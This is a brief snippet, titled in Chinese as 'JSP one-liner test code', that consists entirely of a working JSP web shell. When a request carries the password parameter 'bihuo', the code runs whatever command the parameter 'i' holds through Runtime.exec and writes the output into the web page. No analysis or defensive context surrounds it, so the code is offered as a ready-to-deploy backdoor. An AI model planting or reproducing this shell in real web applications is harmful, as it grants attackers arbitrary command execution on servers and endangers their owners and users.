JSP一句话测试代码

jsp一句话

<% if("bihuo".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
response.getWriter().print("<pre>");
while((a=in.read(b))!=-1){
response.getWriter().println(new String(b));
}
response.getWriter().print("</pre>");
}
%>